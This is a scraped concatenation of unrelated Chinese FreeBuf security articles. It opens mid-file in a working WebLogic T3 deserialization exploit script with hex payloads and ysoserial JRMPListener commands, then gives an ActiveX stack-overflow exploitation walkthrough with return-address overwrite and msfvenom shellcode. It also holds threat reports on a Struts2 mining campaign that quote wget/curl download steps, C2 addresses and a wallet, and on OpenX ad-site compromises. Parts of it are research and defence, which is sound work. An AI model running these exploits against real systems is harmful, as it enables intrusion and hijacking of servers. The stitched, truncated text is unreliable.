636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))

data3 = '1a7727000d3234322e323134'

data4 = '2e312e32353461863d1d0000000078'

for d in [data1, data2, data3, data4]:

sock.send(d.decode('hex'))

sleep(2)

sys.stdout.write('send request payload successful,recv length:%d\n' % (len(sock.recv(2048))))

def sendEvilObjData(sock, data):

payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

payload+=data

payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

payload = '%s%s' % ('{:08x}'.format(len(payload)/2 + 4), payload)

sock.send(payload.decode('hex'))

sleep(2)

sock.send(payload.decode('hex'))

res = ''

try:

while True:

res += sock.recv(4096)

sleep(0.1)

except Exception as e:

pass

return res

def checkVul(res, server_addr, index):

p=re.findall(VER_SIG[index], res, re.S)

if len(p)>0:

return '[+] {}:{} is vul {}'.format(server_addr[0], server_addr[1], VUL[index])

else:

return '[-] {}:{} is not vul {}'.format(server_addr[0], server_addr[1], VUL[index])

def run(*args):

dip = args[0]

dport = args[1]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整

sock.settimeout(15)

server_addr = (dip, dport)

t3handshake(sock, server_addr)

buildT3RequestObject(sock, dport)

rs=sendEvilObjData(sock, PAYLOAD[index])

print checkVul(rs, server_addr, index)

def single():

dip = sys.argv[1]

dport = int(sys.argv[2])

run(dip, dport)

if __name__ == '__main__':

index = 0

single()

4.2 PAYLOAD字段修改

对于如何修改代码中的PAYLOAD字段中的地址,可以使用ysoserial获取,命令为:

$ java -jar ysoserial-master.jar JRMPClient 11.10.67.83:1099 | xxd
00000000: aced 0005 737d 0000 0001 001a 6a61 7661 ....s}......java
00000010: 2e72 6d69 2e72 6567 6973 7472 792e 5265 .rmi.registry.Re
00000020: 6769 7374 7279 7872 0017 6a61 7661 2e6c gistryxr..java.l
00000030: 616e 672e 7265 666c 6563 742e 5072 6f78 ang.reflect.Prox
00000040: 79e1 27da 20cc 1043 cb02 0001 4c00 0168 y.'. ..C....L..h
00000050: 7400 254c 6a61 7661 2f6c 616e 672f 7265 t.%Ljava/lang/re
00000060: 666c 6563 742f 496e 766f 6361 7469 6f6e flect/Invocation
00000070: 4861 6e64 6c65 723b 7870 7372 002d 6a61 Handler;xpsr.-ja
00000080: 7661 2e72 6d69 2e73 6572 7665 722e 5265 va.rmi.server.Re
00000090: 6d6f 7465 4f62 6a65 6374 496e 766f 6361 moteObjectInvoca
000000a0: 7469 6f6e 4861 6e64 6c65 7200 0000 0000 tionHandler.....
000000b0: 0000 0202 0000 7872 001c 6a61 7661 2e72 ......xr..java.r
000000c0: 6d69 2e73 6572 7665 722e 5265 6d6f 7465 mi.server.Remote
000000d0: 4f62 6a65 6374 d361 b491 0c61 331e 0300 Object.a...a3...
000000e0: 0078 7077 3400 0a55 6e69 6361 7374 5265 .xpw4..UnicastRe
000000f0: 6600 0b31 312e 3130 2e36 372e 3833 0000 f..11.10.67.83.. 00000100: 044b ffff ffff c56f 9b74 0000 0000 0000 .K.....o.t...... 00000110: 0000 0000 0000 0000 0078 .........x

注意ysoserial需要依赖JDK,运行上述命令可以得到自己的PAYLOAD(这里是

aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707734000a556e6963617374526566000b31312e31302e36372e38330000044bffffffff981c9bd400000000000000000000000000000078

),替换代码中的PAYLOAD内容即可。

4.3 漏洞验证

通过ysoserial设置JRMPListener主机,并输入回传的待执行命令,命令如下:

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "命令"

运行上述命令后可以正式进行试验。为了验证此漏洞远程代码执行的效果,以安装Weblogic的Linux服务器为例,可以执行curl命令测试,让其访问我们自己搭建的Web服务器并查看Web日志,如果日志中有目标机器的IP地址,并表明存在此漏洞并已经成功利用。最后贴下漏洞验证效果。本次测试的攻击机为11.10.67.83 (实验室私有IP),RMPListener与Web服务均在此服务器启用

目标靶机为11.10.138.61(实验室私有IP)

图片.png

在攻击机上执行以下命令对靶机11.10.138.61进行攻击

python test.py 11.10.138.61 7001

在攻击机11.10.67.83上显示

图片.png

在11.10.67.83的Web日志中可以看到结果

图片.png

可以看到利用此漏洞让目标靶机11.10.138.61访问了攻击机11.10.67.83的Web服务。

五、结论

通过上述实验可以看到,此漏洞确实具备远程代码执行的能力,请安全与运维人员提高警惕,尽快修复此漏洞。对于此漏洞,Oracle官方已经给出了相应补丁,强烈建议受影响的用户尽快升级更新进行防护。

以上验证仅用于学习与研究,请勿非法利用。

*本文作者:kaixin3000,转载请注明来自FreeBuf.COM

DomLink是一个自动化的域发现工具。用户只需向其提供一个域名,它就会帮助我们查找与之相关联的组织和电子邮件记录,并使用这些信息执行反向的WHOIS,然后你将获取到许多由公司注册的其他关联域的输出。该工具还会提示你,是否要将发现的电子邮件添加到组织电子邮件列表。然后通过获取关联电子邮件的总列表,并再次执行反向WHOIS,进一步的执行域枚举操作,以获得关联组织,电子邮件和域的最终列表。DomLink的执行大致遵循以下流程:

1_893YyAMnCAFVLMe7uCOq-w.png

示例

1_EVX1v3tqBVW1UOvSEMTh4w.gif

下载

https://github.com/vysec/domlink

使用

1. 从WHOXY.com获取API密钥

2. 将该API密钥设置在同一目录中,名为domLink.cfg的文件中。

*参考来源:medium,FB小编 secist 编译,转载请注明来自FreeBuf.COM

本周梗概

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,近期币圈可谓是新闻不断,先是美蜜BEC遭遇黑客毁灭性攻击,损失惨重;再就是Myetherwallet的DNS劫持和火币Pro的漏洞问题,稍有风吹草动便是头条。想要了解详情,请看本周的BUF大事件吧!

观看视频

看不到视频点这里

* 本文作者:willhuang,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

之前对某ActiveX控件进行漏洞挖掘的时候发现了一个栈溢出漏洞,最近一时兴起写下了这篇针对该漏洞的从挖掘到成功利用的分享文章。如题,本文将从漏洞挖掘和漏洞利用两个方面进行分享。话不多说,直接进入主题。

漏洞挖掘部分

拿到这个控件之后,先对该控件的属性和包含的函数等信息进行大致了解,这里推荐一个工具——COMRaider,它可以识别出控件很多信息。这里就不介绍使用方法了,下面给出一个识别该控件的截图。

记某次从控件漏洞挖掘到成功利用

该工具还提供fuzz功能,在后续进行逆向分析的同时可以跑下fuzz,说不定有惊喜(本次fuzz并没有惊喜出现)。

了解过控件之后,就可以进行静态分析了,过程中使用了IDA和com.plw插件。

使用IDA加载控件文件,按Ctrl+F11调用插件识别控件中的函数:

记某次从控件漏洞挖掘到成功利用

这些识别出来的函数都是可以在浏览器中直接调用的,所以这些函数的参数都是攻击者可以控制的,需要对这些参数逐一进行追踪和分析。当分析到OpenDevice这个函数时发现了问题。以下将分享该函数详细分析过程。

使用F5查看该函数的伪C代码:

 记某次从控件漏洞挖掘到成功利用

记某次从控件漏洞挖掘到成功利用

记某次从控件漏洞挖掘到成功利用

追踪参数lFlags的处理过程,在第41行发现该参数进行了与运算后并将结果给到v6:

记某次从控件漏洞挖掘到成功利用

继续追踪v6,发现v6都用在if语句的判断中,可以认为lFlags参数是用作分支判断的。其中有一个分支有些奇怪,在第42行:

记某次从控件漏洞挖掘到成功利用

因为v6是由lFlags和0xF00进行与操作得到的,所以v6不可能取值到3。不知道这是程序的bug还是啥。所以之后可以跳过对该分支的分析。

追踪参数szAppID的处理过程,对该参数的处理在v6=3的分支中有一部分,但可以不进行分析,因为根本执行不到。剩下的只有如下图所示的部分:

记某次从控件漏洞挖掘到成功利用

该部分代码在v6=256或768是可以执行到,在第95行发现调用了WideCharToMultiByte函数,将szAppID参数地址中的宽字节字符串转换成多字节字符串后并放入&v21地址中,函数最多可以向&v21地址空间写入v14个字符,而v14是szAppID地址下字符串长度的两倍加二。这里需要判断&v21地址空间实际大小。查看伪C代码最上部分的参数说明:

记某次从控件漏洞挖掘到成功利用

发现v21这个变量后面的地址是sp+0h,即地址为栈顶。而变量String1对应的地址为sp+Ch,并且从伪C代码中可以看出String1并不是v21的一部分,是可以独立使用的变量,如果这么分析&v21对应的地址空间大小只有Ch,是可以溢出的,这时就要通过汇编代码来分析确认栈顶地址对应的空间大小是不是真的像之前分析的那样:

记某次从控件漏洞挖掘到成功利用

图中框1将实际接收地址(存在寄存器edi中)压入栈中,由框2可知edi的数据来自esp,在这之前调用了框3中的函数,跟进函数分析esp的处理:

记某次从控件漏洞挖掘到成功利用

分析该函数的作用是根据eax中的数据在栈顶之外再开辟对应大小的空间,并将最终的栈顶地址返回到esp,再回到原函数,分析eax中数据的大小:

 记某次从控件漏洞挖掘到成功利用

从上图框中的汇编代码可知,eax中的数据是大于等于lpString长度乘二加二,查看lpString的偏移量:

记某次从控件漏洞挖掘到成功利用

可知lpString就是szAppID,所以使用WideCharToMultiByte函数不会造成溢出。

然后继续追踪转为多字节字符串之后的地址空间&v21,在第93行发现v12=&v21:

记某次从控件漏洞挖掘到成功利用

继续追踪v12,发现在第102行将v12使用到了字符串拷贝函数中:

记某次从控件漏洞挖掘到成功利用

该函数会将v12地址空间中的字符串全部拷贝到&String1中,通过上述分析发现v12是攻击者可控的,而且没有进行长度限制,这里需要判断&String1地址空间的大小。直接查看该处对应的汇编代码:

记某次从控件漏洞挖掘到成功利用

发现拷贝的目的地址空间为ebp+String1,查看对应的栈空间大小:

记某次从控件漏洞挖掘到成功利用

由此可知ebp+String1对应的地址空间大小为74h,是有限的,所以很有可能存在栈溢出漏洞。为了验证以上的分析,编写一个调用该控件函数的页面,触发可能存在漏洞的代码部分需要满足对应分支的条件,以上分析可知条件为lFlags&0xF00为768或256,为了溢出覆盖到返回地址,所以szAppID大于等于78h。

编写一个测试页面,内容如下:

记某次从控件漏洞挖掘到成功利用

使用ollydbg附加到要加载该页面的ie浏览器上,在可执行模块中没有找到该控件的文件,为了向存在漏洞的部分下断点,我在ollydbg中设置了暂停于新模块:

记某次从控件漏洞挖掘到成功利用

设置完成后,让ie浏览器加载页面,当暂停的时候在可执行模块中查找控件对应的文件:

记某次从控件漏洞挖掘到成功利用

在ida中获取对应代码段的相对地址,根据相对地址在ollydbg相对位置设置断点,此处我在调用拷贝函数前和函数RETN命令前分别设置了断点:

记某次从控件漏洞挖掘到成功利用

继续执行,直到暂停于调用字符串拷贝函数前,单步执行到调用完字符串拷贝函数后,查看EBP下的内容:

记某次从控件漏洞挖掘到成功利用

记某次从控件漏洞挖掘到成功利用

发现和我之前分析的一样,正好溢出到函数返回地址处。让程序继续执行,发现浏览器已经崩溃:

记某次从控件漏洞挖掘到成功利用

至此可以确定该处确实存在栈溢出。

漏洞利用部分

该部分将分享如何利用上述发现的栈溢出漏洞弹出计算器。因为Win7下开启了ASLR和DEP两个保护,而ActiveX控件又不具有交互性,所以在Win7下利用不现实,这里以WinXPENSP3为靶机进行漏洞利用。

该栈溢出漏洞利用的大体思路是覆盖函数返回地址作为跳板,然后在目标地址处填入shellcode进行执行。思路很简单,但中间还是有个坑比较尴尬。

首先我先找一个跳板,使用ollydbg附加到要加载网页的ie浏览器上,然后在可执行模块中找一个存在jmp esp指令的系统dll文件,这里凑巧找到的是advapi32.dll:

记某次从控件漏洞挖掘到成功利用

可见jmp esp的地址为\x77DEF049,由漏洞挖掘部分的分析可知,字符串的第121~124个字符会溢出覆盖掉返回地址,所以这里构造一个payload,前120个字符统一用A填充,之后为“\x49\xF0\xDE\x77”,最后再填充字符B至长度为150,代码如下图:

记某次从控件漏洞挖掘到成功利用

和漏洞挖掘时一样,分别在函数调用字符串拷贝函数之前和函数返回之前添加断点:

记某次从控件漏洞挖掘到成功利用

使用ie浏览器加载页面,单步执行到字符串拷贝函数之后,查看栈底中的数据:

记某次从控件漏洞挖掘到成功利用

记某次从控件漏洞挖掘到成功利用

发现栈中的数据和预期一样,继续执行到函数返回前,然后单步执行到retn之后,发现成功执行到advapi32中的jmp esp处:

记某次从控件漏洞挖掘到成功利用

再次单步执行,查看EIP所指向的地址在溢出字符串中的位置:

记某次从控件漏洞挖掘到成功利用

可以看出,在返回地址之后的第13个字符开始为jmp esp跳转后执行的代码段。所以编写payload字符串为120个字符A,之后为“\x49\xF0\xDE\x77”,然后为12个字符B,最后为4个字符C:

记某次从控件漏洞挖掘到成功利用

使用ie浏览器加载页面,在ollydbg中查看jmp esp后的指令是否为4个C:

记某次从控件漏洞挖掘到成功利用

发现和预期的结果一样,这样就可以将4个字符C的位置改为shellcode即可。

这里使用一个在exploit-db中找的弹计算器的shellcode进行尝试,页面代码如下:

记某次从控件漏洞挖掘到成功利用

加载页面,让程序暂停在调用字符串拷贝函数之后,比较内存中的内容和shellcode是否一致:

记某次从控件漏洞挖掘到成功利用记某次从控件漏洞挖掘到成功利用

对比发现,上图红框中的0x3F在shellcode中对应的位置应该是0×86,嗯?这是什么情况?回到IDA,发现在拷贝字符串之前调用过WideCharToMultiByte函数,将宽字节字符串转换成多字节字符串,是不是在经过这个函数的时候改变了0×86的值呢?

经过之前漏洞挖掘时的分析,WideCharToMultiByte函数将转换后的字符串存在了栈顶,在ollydbg查看下栈顶转换后的字符串内容:

记某次从控件漏洞挖掘到成功利用

原因如之前推测的那样。

原因找到之后,就要想如何解决,我第一想法是通过MultiByteToWideChar函数将shellcode从多字节字符串转换成宽字节字符串之后放到payload中,让程序运行WideCharToMultiByte解码就能变回原来的多字节字符串了,直接上代码:

记某次从控件漏洞挖掘到成功利用

代码中为了方便对比,将转为宽字节的字符串和转回多字节的字符串都写入文件中,结果如下图:

记某次从控件漏洞挖掘到成功利用

很明显地可以发现转回后的多字节的字符串与转码前的不一样。。。

检查完代码发现没有什么问题之后,只能猜测两次转换是无法完全得到起初的字符串的。只能放弃这种思路了。

经过多次尝试后,发现\x80之前的字符宽字节字符串和多字节字符串相互转换是不会改变的。这就想到是不是使用只由\x80之前的字符组成的shellcode就可以避免这个问题了。

为了生成这样的shellcode,我使用了kali里面msfvenom命令来生成shellcode:

记某次从控件漏洞挖掘到成功利用

将生成的shellcode添加到页面中:

记某次从控件漏洞挖掘到成功利用

因为shellcode有点长,就不进行在内存中一一对比了,直接在ie浏览器中加载页面,看是否会弹出计算器:

记某次从控件漏洞挖掘到成功利用

 记某次从控件漏洞挖掘到成功利用

成功弹出计算器。

到此该栈溢出漏洞的利用就结束了。

后记

针对上面出现的漏洞,在开发中我们要如何避免出现这种漏洞呢?

答:使用安全的字符串拷贝方法

1、使用char * strncpy ( char * destination, const char * source, size_t num );

将destination地址空间的大小减一(为了存放’\0’)的值传给第三个参数num,这样即使source中的字符串长度超过了destination的容量,也只会拷贝num大小的字符串。

例:

char buf[MAX];
strncpy(buf, src, MAX-1);

注:为了避免source的长度大于等于num时导致destination最后一个字符不是’\0’的情况,需要在拷贝之前对destination地址空间的内容初始话为’\0’,或者在拷贝之后给destination最后一个字符赋值为’\0’。

2、使用int snprintf( char *buffer, int buff_size, const char *format, … );

使用第二个参数buff_size来标识buffer的容量,这样打印到buffer里面的字符串不会超过buff_size的限制,并且会在字符串的最后或buffer的最后一位赋值为’\0’作为字符串的结束。

例:

char buf[MAX];
 snprintf(buf, sizeof(buf), "%s", src);

*本文作者:千里目安全实验室,转载请注明来自 FreeBuf.COM

0×1 概述

腾讯御见威胁情报中心监控发现,近期有大批企业网站的Web服务器遭到入侵并被植入挖矿木马。

安全人员分析发现被攻击网站服务器多存在Apache Struts 2 Jakarta Multipart Parser远程代码执行(RCE)漏洞(S2-045,CVE-2017-5638),该漏洞在2017年3月被报出,影响范围为Struts 2.3.5 – Struts 2.3.31,以及Struts 2.5 – Struts 2.5.10版本。黑客组织利用该漏洞批量攻击网站并植入了木马。

0×2 Shell代码分析

黑客组织在攻击时向目标网站同时注入了Linux和Windows版本shell代码。如果目标网站是Windows服务器,则Windows版shell代码最终执行成功;如果目标网站是Linux服务器,则Linux版shell代码最终执行成功。

1.Linux版本的shell代码

在请求中通过iptables stop命令关闭防火墙,以及chmod 777命令提高权限。

1.png

图1

然后通过wget、curl程序获取Linux挖矿程序,并通过命令crontab将其设定为持续执行。

2.png

图2

2. Windows版本的shell代码

首先创建用于下载挖矿木马的文件xxoo.vbe,并写入脚本代码。

3.png

图3

在目标服务器生成脚本xxoo.vbe

4.png

图4

然后利用cscript xxoo.vbe下载挖矿木马EXE

5.png

图5

0×3 木马分析

1. Linux挖矿木马

Linux木马脚本存放地址为hxxp://181.214.87.241/java/oracle.jpg,脚本会关闭已有挖矿进程,然后获取矿池配置文件,下载启动Linux挖矿程序。

6.png

图6

从脚本使用的矿池配置文件hxxp://181.214.87.241/java/vlqd.cf

7.png

图7 

其中矿池地址为:78.46.91.134:80

挖矿帐号为:487ityZsfqR3vq5RUaHVCVY7G7nNEdvvkDgSy12aJgkG9fJooA1W8ZGLMMqJYiCm35iTFTm6vwfAt7rupBSKmb3YGdGiR4C

访问矿池IP可以看到门罗币矿池pool.minexmr.com

8.png

图8 

在该矿池的界面,查询到挖矿账户的信息:

9.png

图9

下载的Linux挖矿程序(ELF文件)hxxp://181.214.87.241/java/vlqd

10.png

图10

挖矿代码特征

11.png

图11

2. Windows挖矿木马

挖矿程序9875.exe运行后释放进程守护脚本AutoRunApp.VBS,每隔一段时间检测挖矿进程,如果进程不存在则重新启动;同时9875.exe释放并加载驱动xxxx.sys在驱动层保护挖矿行为。

12.png

图12

木马判断系统版本

13.png

图13

将自身添加到注册表启动项

14.png

图14

创建挖矿进程守护脚本

15.png

图15

16.png

图16

释放随机名驱动到Temp目录,对挖矿进程、文件进行保护

17.png

图17

获取机器信息

18.png

图18

连接C2地址:61.147.120.245

19.png

图19

门罗币挖矿代码

20.jpg

图20

0×4 溯源分析

查询木马连接C2的域名www.sgzca.win,从注册邮箱可以看到作者曾经使用过的QQ:284****811

21.png

图21

通过QQ可以查到域名注册者在某黑客论坛的记录

22.jpg

图22

23.png

图23

作者的论坛记录显示曾经发布过的矿马生成器、弱口令以及各类黑客工具

24.png

图24

其他人下载工具时作者也能获得收入

25.jpg

图25

作者发布的一款矿马生成器,支持任务管理器状态检测和K进程

26.jpg

图26

27.png

图27

作者累计发布11万多个IP的3306口令

28.png

图28

0×5 安全建议

1.可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 ,以及Struts2.5 到 Struts2.5.10之间则存在漏洞。受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1以消除漏洞影响。

2.使用腾讯御知网络空间风险雷达(网址:https://s.tencent.com/product/yuzhi/index.html)进行风险扫描和站点监控,及时修复Web服务器安全漏洞。

3.网站管理员可使用腾讯云网站管家智能防护平台(网址:https://s.tencent.com/product/wzgj/index.html),其具备Web入侵防护,0Day漏洞补丁修复等多纬度防御策略,可全面保护网站系统。

0×6 IOCs

C2:

www.bk1433.top

61.147.120.245

kk321.f3322.net

216.118.225.250

10.0.2.15

www.sgzca.win

xs516.f3322.net

123.207.162.18

md5

35b4395ae17f5b4125de6ee07d6bdde6

96725ba1ca94113f5b4e082f8b37ce6f

ae96e22912145a7d4c5ada7911e4061f

46cfbf8b219a0c8845a212510576d2f8

1ed6c5dfa3dbb26fc758b16dc5aac9d7

5aa908705f019df2b70029c76150314b

49c1980e48ad9a425126abd11400d4c4

f0744ef4ffbb474e1d438bd0cfd73eec

9bc3a69211711a5e417c2b3029f3bac5

49d2f2344ad8fc17427d44bf4693884d

97ff66fd9a73137db18bde42ef1fc85a

a53babe49f07d8826c7eda7675c5a73f

748d3d940525836eed70cbfc032facb3

*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM

本周早些时候,360安全卫士发布预警文章《新一轮挂马攻击来袭,打开游戏就中招!》。文章称有攻击团伙向国内知名下载站点52pk.com页面中插入CVE-2018-4878漏洞的flash对象进行攻击。后续监控发现知名IT技术网站51CTO.com和医护学习交流平台cmechina.net也遭到挂马攻击。根据我们对挂马样本特征的分析,这三起挂马攻击都来自同一组织,由臭名昭著的漏洞利用套件GreenFlashSundown Exploit Kit完成。图1展示了挂马攻击网络请求。

1.jpg

图1 挂马攻击网络请求

GreenFlashSundown Exploit Kit是一个功能全面的漏洞利用套件,最早出现在2016年,是SundownExploit Kit的一个变种。GreenFlash Sundown Exploit Kit曾被用于下发Locky勒索病毒、Hermes勒索病毒,这是GreenFlashSundown Exploit Kit首次被发现用于在国内传播挖矿木马。

国内使用OpenX广告系统站点成攻击对象

我们对此次攻击行动了分析,最近多起挂马攻击都是针对国内使用OpenX广告管理系统的站点。OpenX是一个基于PHP的网站广告管理与跟踪系统,网站管理者可以十分方便地通过OpenX展示、管理、统计网站广告。不过目前OpenX已停止维护,存在多个已披露但未修复的漏洞(0day漏洞),GreenFlashSundown Exploit Kit正是利用OpenX广告管理系统的漏洞修改广告分发代码,将恶意代码植入网页中。

被植入恶意代码的是OpenX广告管理系统中www\delivery路径下负责广告分发的PHP模块。浏览器请求hxxp://OpenX_host/www/delivery/xxx.php?zoneid=id&cb=random_number&n=nNum获取广告内容,被修改的广告分发模块在返回广告内容同时返回恶意代码。图2和图3分别表示正常站点和被挂马站点OpenX分发的广告内容,可以看出被挂马站点返回的广告内容之前被插入了恶意JS脚本。

2.png

图2 正常站点OpenX分发的广告内容

3.png

图3 被挂马站点OpenX分发的广告内容(红框中为被插入的恶意代码)

国内多个被挂马站点中挂马页面中被插入的恶意脚本地址为hxxp://advertmention.com/js/ads.min.js,该恶意脚本下载带有CVE-2018-4878漏洞利用代码的flash对象,向用户计算机中植入挖矿木马。

站点OpenX漏洞被利用,黑客进行挂马攻击

以51CTO.com和cmechina.net为例,他们所使用的OpenX系统均存在已公开漏洞。(51CTO.com使用的OpenX为2.8.9版,cmechina.net使用的是2.8.7版)。OpenX曾经爆出多个高危漏洞,漏洞类型包括SQL注入、XSS、CSRF等,其中CVE-2013-3514和CVE-2013-3515是XSS漏洞,影响OpenX2.8.10及以下版本,攻击者能够向页面中植入任意脚本;而CVE-2013-4211影响OpenX2.8.10及以上版本,允许攻击者植入PHP后门。图4展示了exploit-db上收集的OpenX过往漏洞信息,可见OpenX低版本存在许多高危漏洞。

4.png

图4exploit-db上收集的OpenX过往漏洞信息

目前GreenFlash SundownExploit Kit也已集成了针对使用OpenX广告管理系统站点的攻击组件,攻击者可利用该工具对这些站点实施了攻击。 

OpenX千疮百孔,弃用OpenX或是最好选择

OpenX已经多年未维护,并且几乎每个版本都存在高危漏洞,其中CVE-2013-4211至今未得到修复。此外,距离OpenX最后一次提交也有五年了。由于OpenX广告管理系统已是千疮百孔,网站管理员只能通过对指定页面执行访问控制来避免已披露漏洞的攻击,但对于未知漏洞只能束手就擒。或许弃用OpenX,选择更好更安全的广告管理系统才是最好的解决方案。

临时防护建议

由于OpenX已停止维护,网站管理者可以从以下几个方面进行临时防护:

1. 为站点配置waf防御攻击;

2. 对广告系统以下路径下的文件执行访问控制:www/admin

3. 删除触发CVE-2013-4211漏洞的flowplayer/3.1.1/flowplayer-3.1.1.min.js中的后门代码(下图<?php标签之间高亮的为后门代码)。

5.png

*本文作者:360安全卫士,转载请注明来自FreeBuf.COM